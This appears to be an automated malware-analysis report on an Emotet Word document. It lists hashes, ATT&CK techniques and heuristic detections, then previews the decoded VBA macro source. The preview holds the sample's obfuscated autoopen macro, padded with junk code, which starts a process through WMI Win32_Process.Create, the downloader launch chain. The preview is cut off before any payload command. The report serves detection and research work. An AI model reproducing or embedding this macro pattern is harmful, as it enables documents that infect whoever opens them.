Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 6601f04af230c7ee…

MALICIOUS

Office (OLE)

196.1 KB Created: 2019-12-05 10:23:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 4a80eaa456ab07f19ab44e4b2770bfb1 SHA-1: 17188cf00cea565c74a525c0dad84311b209a685 SHA-256: 6601f04af230c7ee80422820b11573dc75903666eee542925d7629508dd96d9e
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The macros utilize WMI (Win32_Process) to create new processes, a common technique for downloading and executing further malicious payloads. The ClamAV signature 'Doc.Downloader.Emotet-7431186-0' strongly suggests the Emotet family, known for its downloader capabilities.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7431186-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7431186-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9778 bytes
SHA-256: 30084ad08855765c9029f8f076046d0ceef19798845c620e5041bc9ce1b72215
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hsykvjyaxp"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Ekbicjlbpary, 0, 0, MSForms, TextBox"
Attribute VB_Control = "Qfhiehhgudrxf, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Hwcyjnncvhd, 2, 2, MSForms, TextBox"
Attribute VB_Control = "Ohwjlltqcoqx, 3, 3, MSForms, TextBox"
Attribute VB_Control = "Jypmfsbflpr, 4, 4, MSForms, TextBox"
Attribute VB_Control = "Wgpvspuwut, 5, 5, MSForms, TextBox"
Attribute VB_Control = "Yxyokqts, 6, 6, MSForms, TextBox"
Attribute VB_Control = "Pzuattac, 7, 7, MSForms, TextBox"
Attribute VB_Control = "Auuntdxklobt, 8, 8, MSForms, TextBox"
Attribute VB_Control = "Nzpkrlamlwtcw, 9, 9, MSForms, TextBox"
Attribute VB_Control = "Punjxtqhcw, 10, 10, MSForms, TextBox"
Attribute VB_Control = "Uaetoghrq, 11, 11, MSForms, TextBox"

Attribute VB_Name = "Lraqsbqicn"
Attribute VB_Base = "0{F06951C8-CB00-4FF4-8A7D-410545A571D6}{686D2020-FD8A-448F-82C7-5FC2553ECA55}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Femvhkivryimg"
Function Keskzxmbbrky()
On Error Resume Next
   Select Case Enlncjzccsdv
      Case 2373
         Ylqv2 = Log(ztlQ)
         bOiI = Fix(5503 + Fix(jZmd))
      Case 6
         uukS79X = Chr(69)
         vEfwMT = ChrW(anxGm)
      Case 187536147
         cDs = 329300291
         Dpj = BXYsS21
   End Select
   nttG9vX = 199541192
   For Yydxagzwjevb = 0 To 0
      bEov48 = 43178593 + 36693484
      If zLRq >= CHjhua Then
         yzXb96fdH = Oct(2)
      End If
Next
CreateObject("winmgmts:Win32_Process").Create _
 _
Femvhkivryimg _
.Rlgcmxxqdu, Vdbdjmpvzrd, Wdsmhnlgslvt
   Select Case Uimnpnijrc
      Case 2373
         Ylqv2 = Log(ztlQ)
         bOiI = Fix(5503 + Fix(jZmd))
      Case 6
         uukS79X = Chr(69)
         vEfwMT = ChrW(anxGm)
      Case 187536147
         cDs = 329300291
         Dpj = BXYsS21
   End Select
   nttG9vX = 199541192
   For Jceqokyxsyzha = 0 To 0
      bEov48 = 43178593 + 36693484
      If zLRq >= CHjhua Then
         yzXb96fdH = Oct(2)
      End If
Next
End Function
Sub autoopen()
On Error Resume Next
   Select Case Tyokrftbzt
      Case 2373
         Ylqv2 = Log(ztlQ)
         bOiI = Fix(5503 + Fix(jZmd))
      Case 6
         uukS79X = Chr(69)
         vEfwMT = ChrW(anxGm)
      Case 187536147
         cDs = 329300291
         Dpj = BXYsS21
   End Select
   nttG9vX = 199541192
   For Tptdrhkdm = 0 To 0
      bEov48 = 43178593 + 36693484
      If zLRq >= CHjhua Then
         yzXb96fdH = Oct(2)
      End If
Next
   Select Case Ppruqrbnqoqd
      Case 2373
         Ylqv2 = Log(ztlQ)
         bOiI = Fix(5503 + Fix(jZmd))
      Case 6
         uukS79X = Chr(69)
         vEfwMT = ChrW(anxGm)
      Case 187536147
         cDs = 329300291
         Dpj = BXYsS21
   End Select
   nttG9vX = 199541192
   For Wwmzhpthgllws = 0 To 0
      bEov48 = 43178593 + 36693484
      If zLRq >= CHjhua Then
         yzXb96fdH = Oct(2)
      End If
Next
   Select Case Avupfhcgzjh
      Case 2373
         Ylqv2 = Log(ztlQ)
         bOiI = Fix(5503 + Fix(jZmd))
      Case 6
         uukS79X = Chr(69)
         vEfwMT = ChrW(anxGm)
      Case 187536147
         cDs = 329300291
         Dpj = BXYsS21
   End Select
   nttG9vX = 199541192
   For Yiijeleon = 0 To 0
      bEov48 = 43178593 + 36693484
      If zLRq >= CHjhua Then
         yzXb96fdH = Oct(2)
      End If
Next
Keskzxmbbrky
End Sub
Function Wdsmhnlgslvt()
On Error Resume Next
   Select Case Gimusoioc
      Case 2373
         Ylqv2 = Log(ztlQ)
         bOiI = Fix(5503 + Fix(jZmd))
      Case 6
         uukS79X = Chr(69)
         vEfwMT = ChrW(anxGm)
   
... (truncated)

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